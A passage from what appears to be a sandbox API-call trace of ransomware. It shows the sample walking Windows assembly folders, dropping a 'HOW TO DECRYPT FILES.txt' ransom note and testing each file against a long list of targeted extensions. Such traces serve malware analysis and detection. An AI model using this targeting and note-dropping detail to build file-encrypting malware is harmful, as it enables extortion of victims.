out: hFindFile=0x502598) returned 1 [0112.560] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18f85207, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x18f85207, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x18f85207, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Data.Services", cAlternateFileName="SYEB95~1.SER")) returned 1 [0112.562] lstrcmpA (lpString1=".", lpString2="System.Data.Services") returned -1 [0112.562] lstrcmpA (lpString1="..", lpString2="System.Data.Services") returned -1 [0112.562] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.562] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="System.Data.Services" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services" [0112.562] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18f85207, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x18f85207, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x18f85207, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.563] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.563] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18f85207, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x18f85207, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x18f85207, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.563] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.563] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.563] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18f85207, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x18f85207, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x18f85207, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="0765c6422b48cd504d2fba3765c78c79", cAlternateFileName="0765C6~1")) returned 1 [0112.563] lstrcmpA (lpString1=".", lpString2="0765c6422b48cd504d2fba3765c78c79") returned -1 [0112.563] lstrcmpA (lpString1="..", lpString2="0765c6422b48cd504d2fba3765c78c79") returned -1 [0112.563] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\*.*") returned="*.*" [0112.563] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\", lpString2="0765c6422b48cd504d2fba3765c78c79" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79" [0112.563] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18f85207, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x18f85207, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x18f85207, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.563] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.564] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18f85207, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x18f85207, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x18f85207, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.564] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.564] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.564] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18ea09c6, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x18ea09c6, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x18ec6b26, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x2ad000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Data.Services.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0112.564] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.564] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Data.Services.ni.dll") returned -1 [0112.564] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Data.Services.ni.dll") returned -1 [0112.564] lstrcmpiA (lpString1="", lpString2="System.Data.Services.ni.dll") returned -1 [0112.564] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\*.*") returned="*.*" [0112.564] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\" [0112.564] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\") returned="" [0112.564] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\HOW TO DECRYPT FILES.txt" [0112.564] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.data.services\\0765c6422b48cd504d2fba3765c78c79\\how to decrypt files.txt")) returned 0xffffffff [0112.564] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.data.services\\0765c6422b48cd504d2fba3765c78c79\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.565] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0112.566] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.566] CloseHandle (hObject=0x90) returned 1 [0112.566] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\", lpString2="System.Data.Services.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll" [0112.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.ems") returned 0 [0112.566] lstrlenA (lpString="*.ems") returned 5 [0112.566] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.db") returned 0 [0112.566] lstrlenA (lpString="*.db") returned 4 [0112.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.dbf") returned 0 [0112.567] lstrlenA (lpString="*.dbf") returned 5 [0112.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.myox") returned 0 [0112.567] lstrlenA (lpString="*.myox") returned 6 [0112.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.myo") returned 0 [0112.567] lstrlenA (lpString="*.myo") returned 5 [0112.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.qbw") returned 0 [0112.567] lstrlenA (lpString="*.qbw") returned 5 [0112.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.qbb") returned 0 [0112.567] lstrlenA (lpString="*.qbb") returned 5 [0112.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.qbm") returned 0 [0112.567] lstrlenA (lpString="*.qbm") returned 5 [0112.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.qbo") returned 0 [0112.567] lstrlenA (lpString="*.qbo") returned 5 [0112.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.qbx") returned 0 [0112.567] lstrlenA (lpString="*.qbx") returned 5 [0112.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.qba") returned 0 [0112.567] lstrlenA (lpString="*.qba") returned 5 [0112.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.qby") returned 0 [0112.567] lstrlenA (lpString="*.qby") returned 5 [0112.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.qbj") returned 0 [0112.567] lstrlenA (lpString="*.qbj") returned 5 [0112.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.ofx") returned 0 [0112.567] lstrlenA (lpString="*.ofx") returned 5 [0112.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.qif") returned 0 [0112.567] lstrlenA (lpString="*.qif") returned 5 [0112.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.mye") returned 0 [0112.567] lstrlenA (lpString="*.mye") returned 5 [0112.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.mbox") returned 0 [0112.567] lstrlenA (lpString="*.mbox") returned 6 [0112.567] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.eml") returned 0 [0112.567] lstrlenA (lpString="*.eml") returned 5 [0112.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.pst") returned 0 [0112.568] lstrlenA (lpString="*.pst") returned 5 [0112.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.ost") returned 0 [0112.568] lstrlenA (lpString="*.ost") returned 5 [0112.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.idx") returned 0 [0112.568] lstrlenA (lpString="*.idx") returned 5 [0112.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.dbx") returned 0 [0112.568] lstrlenA (lpString="*.dbx") returned 5 [0112.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.sql") returned 0 [0112.568] lstrlenA (lpString="*.sql") returned 5 [0112.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.mdb") returned 0 [0112.568] lstrlenA (lpString="*.mdb") returned 5 [0112.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.fdb") returned 0 [0112.568] lstrlenA (lpString="*.fdb") returned 5 [0112.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.wab") returned 0 [0112.568] lstrlenA (lpString="*.wab") returned 5 [0112.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.dat") returned 0 [0112.568] lstrlenA (lpString="*.dat") returned 5 [0112.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.txt") returned 0 [0112.568] lstrlenA (lpString="*.txt") returned 5 [0112.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.jpeg") returned 0 [0112.568] lstrlenA (lpString="*.jpeg") returned 6 [0112.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.jpg") returned 0 [0112.568] lstrlenA (lpString="*.jpg") returned 5 [0112.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.png") returned 0 [0112.568] lstrlenA (lpString="*.png") returned 5 [0112.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.php") returned 0 [0112.568] lstrlenA (lpString="*.php") returned 5 [0112.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.cs") returned 0 [0112.568] lstrlenA (lpString="*.cs") returned 4 [0112.568] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.cpp") returned 0 [0112.569] lstrlenA (lpString="*.cpp") returned 5 [0112.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.rar") returned 0 [0112.569] lstrlenA (lpString="*.rar") returned 5 [0112.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.zip") returned 0 [0112.569] lstrlenA (lpString="*.zip") returned 5 [0112.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.html") returned 0 [0112.569] lstrlenA (lpString="*.html") returned 6 [0112.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.htm") returned 0 [0112.569] lstrlenA (lpString="*.htm") returned 5 [0112.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.xlsx") returned 0 [0112.569] lstrlenA (lpString="*.xlsx") returned 6 [0112.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.xls") returned 0 [0112.569] lstrlenA (lpString="*.xls") returned 5 [0112.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.mp4") returned 0 [0112.569] lstrlenA (lpString="*.mp4") returned 5 [0112.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.ppt") returned 0 [0112.569] lstrlenA (lpString="*.ppt") returned 5 [0112.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.pptx") returned 0 [0112.569] lstrlenA (lpString="*.pptx") returned 6 [0112.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.doc") returned 0 [0112.569] lstrlenA (lpString="*.doc") returned 5 [0112.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.dot") returned 0 [0112.569] lstrlenA (lpString="*.dot") returned 5 [0112.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.docx") returned 0 [0112.569] lstrlenA (lpString="*.docx") returned 6 [0112.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.7z") returned 0 [0112.569] lstrlenA (lpString="*.7z") returned 4 [0112.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.tar") returned 0 [0112.569] lstrlenA (lpString="*.tar") returned 5 [0112.569] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.bz2") returned 0 [0112.569] lstrlenA (lpString="*.bz2") returned 5 [0112.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.gz") returned 0 [0112.570] lstrlenA (lpString="*.gz") returned 4 [0112.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.mkv") returned 0 [0112.570] lstrlenA (lpString="*.mkv") returned 5 [0112.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.eml") returned 0 [0112.570] lstrlenA (lpString="*.eml") returned 5 [0112.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.msg") returned 0 [0112.570] lstrlenA (lpString="*.msg") returned 5 [0112.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.edb") returned 0 [0112.570] lstrlenA (lpString="*.edb") returned 5 [0112.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.accdb") returned 0 [0112.570] lstrlenA (lpString="*.accdb") returned 7 [0112.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.odb") returned 0 [0112.570] lstrlenA (lpString="*.odb") returned 5 [0112.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.java") returned 0 [0112.570] lstrlenA (lpString="*.java") returned 6 [0112.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.asm") returned 0 [0112.570] lstrlenA (lpString="*.asm") returned 5 [0112.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.pfx") returned 0 [0112.570] lstrlenA (lpString="*.pfx") returned 5 [0112.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.pem") returned 0 [0112.570] lstrlenA (lpString="*.pem") returned 5 [0112.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.p12") returned 0 [0112.570] lstrlenA (lpString="*.p12") returned 5 [0112.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.gpg") returned 0 [0112.570] lstrlenA (lpString="*.gpg") returned 5 [0112.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.vsd") returned 0 [0112.570] lstrlenA (lpString="*.vsd") returned 5 [0112.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.odg") returned 0 [0112.570] lstrlenA (lpString="*.odg") returned 5 [0112.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.raw") returned 0 [0112.570] lstrlenA (lpString="*.raw") returned 5 [0112.570] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.nef") returned 0 [0112.571] lstrlenA (lpString="*.nef") returned 5 [0112.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.svg") returned 0 [0112.571] lstrlenA (lpString="*.svg") returned 5 [0112.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.psd") returned 0 [0112.571] lstrlenA (lpString="*.psd") returned 5 [0112.571] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Services\\0765c6422b48cd504d2fba3765c78c79\\System.Data.Services.ni.dll", pszSpec="*.vmx") returned 0 [0112.571] lstrlenA (lpString="*.vmx") returned 5 [0112.571] PathMatchSpecA 